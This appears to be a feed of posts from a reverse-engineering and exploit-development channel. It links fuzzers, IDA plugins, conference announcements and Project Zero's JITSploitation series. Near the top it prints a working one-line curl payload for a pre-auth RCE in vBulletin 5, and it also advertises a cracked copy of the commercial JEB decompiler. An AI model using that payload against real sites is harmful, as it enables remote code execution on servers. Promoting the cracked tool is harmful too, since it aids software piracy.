A new pre-auth 0day RCE exploit for vBulletin 5:

https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/

POC: curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("id"); exit;'

#web #expdev #rce #0day #darw1n

CTF for #r2con2020 is officially open: https://ctf.radare.org/welcome.html #reverse #CTF #dukeBarman

Introduction to Whiteboxes and Collision-Based Attacks With QBDI

https://blog.quarkslab.com/introduction-to-whiteboxes-and-collision-based-attacks-with-qbdi.html

#crypto #whitebox #waes #darw1n

[CRACKED] JEB 3.24 Anti-BLM Edition by DimitarSerg https://twitter.com/R0_CREW/status/1296095737437134858 #reverse #tools #mobile #reverse #android #darw1n

Friends, we have good news! 🔥

OFFZONE 2021 is an international practical cybersecurity conference taking place in Moscow, Russia on April 22-23.

No suits, no business — only hardcore research.

Save the date! See you at OFFZONE 2021!

Fuzzing JavaScript Engines with Aspect-preserving Mutation

https://github.com/sslab-gatech/DIE

#reverse #expdev #fuzzing #javascript #darw1n

Storm - a blackbox mutational fuzzer for detecting critical bugs in SMT solvers Article: https://numairmansur.github.io/STORM.pdf Code: https://github.com/Practical-Formal-Methods/storm #fuzzing #dukeBarman

Enumy - Linux post exploitation privilege escalation enumeration https://github.com/luke-goddard/enumy #links #linux #ctf #exploitation

RetDec IDA plugin version 1.0 is out:
https://engineering.avast.io/retdec-ida-plugin-v1-0-is-out/

#reverse #ida #KosBeg

idapm is IDA Plugin Manager via GitHub Repository https://github.com/tkmru/idapm #reverse #ida #dukeBarman

UAFuzz: Binary-level Directed Fuzzing for Use-After-Free Vulnerabilities https://github.com/strongcourage/uafuzz #fuzzing #dukeBarman

Linux Kernel Runtime Guard https://github.com/openwall/lkrg #linux #dukeBarman

0.7.0 version published, all known databases can be opened, widely tested: https://github.com/williballenthin/python-idb/releases/tag/v0.7.0
Also available on PyPI now: https://pypi.org/project/python-idb/

#ida #reverse #jeisonwi

Odyssey Swift-based semi-untethered jailbreak https://github.com/TheOdysseyJB/Odyssey #jailbreak #ios #exploitation #dukeBarman

#r2con2020 will be online & FREE! - 4 days in September (from 2020-09-02 to 2020-09-05)

Stream: https://www.youtube.com/channel/UCZo6gyBPj6Vgg8u2dfIhY4Q
r2wars: https://rada.re/con/2020/#r2wars
CTF: https://ctf.radare.org/welcome.html and https://rada.re/con/2020/#CTF
Schedule: https://rada.re/con/2020/assets/r2con2020schedule.pdf

Chiptune party: https://rada.re/con/2020/#Chiptune

#reverse #videos #conference #r2con #ctf #dukeBarman

How efiXplorer helping to solve challenges in reverse engineering of UEFI firmware | Alex Matrosov https://www.youtube.com/watch?v=FFGQJBmRkLw #videos #uefi #reverse #ida #dukeBarman

Analysis of Themida v3 x32 Advanced API Wrapping

https://github.com/quosego/analysis.oreans/tree/master/Documentations/Version%203/Themida/x32/3.0.8.0/Advanced%20API-Wrapping

#reverse #themida #darw1n

Angr integration with Cutter's debugger https://github.com/yossizap/angrcutter #reverse #radare2 #smt #dukeBarman

#r2con2020 is online & FREE - https://www.youtube.com/watch?v=sgNDYgLyAP4
Schedule: https://rada.re/con/2020/assets/r2con2020schedule.pdf

#reverse #conference #videos #r2con #dukeBarman

This three-part series highlights the technical challenges involved in finding and exploiting JavaScript engine vulnerabilities in modern web browsers and evaluates current exploit mitigation technologies. The exploited vulnerability, CVE-2020-9802, was fixed in iOS 13.5, while two of the mitigation bypasses, CVE-2020-9870 and CVE-2020-9910, were fixed in iOS 13.6.

JITSploitation I: A JIT Bug
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html

JITSploitation II: Getting Read/Write
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html

JITSploitation III: Subverting Control Flow
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-three.html

#mobile #ios #javascript #browser #jit #webkit #expdev #cve #reverse #darw1n